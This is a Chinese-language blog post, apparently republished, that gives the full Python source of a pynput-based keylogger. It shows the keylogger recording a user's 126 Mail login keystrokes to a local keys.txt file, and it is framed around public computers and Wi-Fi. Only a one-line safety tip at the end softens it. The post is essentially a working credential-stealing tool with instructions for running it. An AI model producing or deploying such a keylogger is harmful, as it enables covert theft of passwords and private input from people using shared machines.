目錄
先看看效果
一、公共WiFi 公用電腦什么的
二、鍵盤記錄器
三、python代碼實作
1、安裝pynput模塊
2、腳本完整代碼
3、啟動腳本
4、登錄126郵箱 抓取用戶資訊
四、安全提示
先看看效果
Like This↓

一、公共WiFi 公用電腦什么的
在我們日常在線上作業、玩耍時,不論開電腦、登錄淘寶、玩網游
統統都會用到鍵盤輸入
在幾乎所有網站,例如淘寶、百度、126郵箱等等
為了保護用戶資訊
登錄時,輸入框都是不可見的,
但是,輸入框都在界面上隱藏,讓我們看不到,就能真正的確保萬無一失嗎?

二、鍵盤記錄器
今天介紹一種,通過鍵盤記錄的方法,獲取用戶通過鍵盤輸入的所有資訊,
并實作獲取126郵箱的登錄用戶資訊,

三、python代碼實作
1、安裝pynput模塊
PS C:\WINDOWS\system32> pip install pynput Collecting pynputDownloading pynput-1.7.2-py2.py3-none-any.whl (99 kB)|████████████████████████████████| 99 kB 51 kB/sRequirement already satisfied: six in d:\python36\lib\site-packages (from pynput) (1.12.0)Installing collected packages: pynputSuccessfully installed pynput-1.7.2PS C:\WINDOWS\system32>

2、腳本完整代碼
# -*- coding:utf-8 -*-from pynput.keyboard import Key, Controller,Listenerimport timekeyboard = Controller()keys=[]def on_press(key):string = str(key).replace("'","")def on_release(key):global keysstring = str(key).replace("'","")keys.append('\r'+string)main_string = "".join(keys)print(main_string)if len(main_string)>15:with open('D:\keys.txt', 'a') as f:f.write(main_string)keys= []with Listener(on_press=on_press,on_release=on_release) as listener:listener.join()
3、啟動腳本
將腳本放置在電腦的某個路徑下,運行該程式;所有的鍵盤輸入,都會被記錄在相同目錄下的keys.txt檔案中,
PS D:\test> python .\keyRecord.py

4、登錄126郵箱 抓取用戶資訊
在腳本運行狀態下,登錄126郵箱,可以看到,通過鍵盤輸入的資訊都被寫入到了keys.txt檔案中,包括用戶名輸完之后的tab按鈕和確定enter登錄按鈕

四、安全提示
陌生WiFi不要隨便連
陌生電腦不要隨便用
emmmm~~~~

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/271995.html
標籤:python
下一篇:奇怪的for回圈
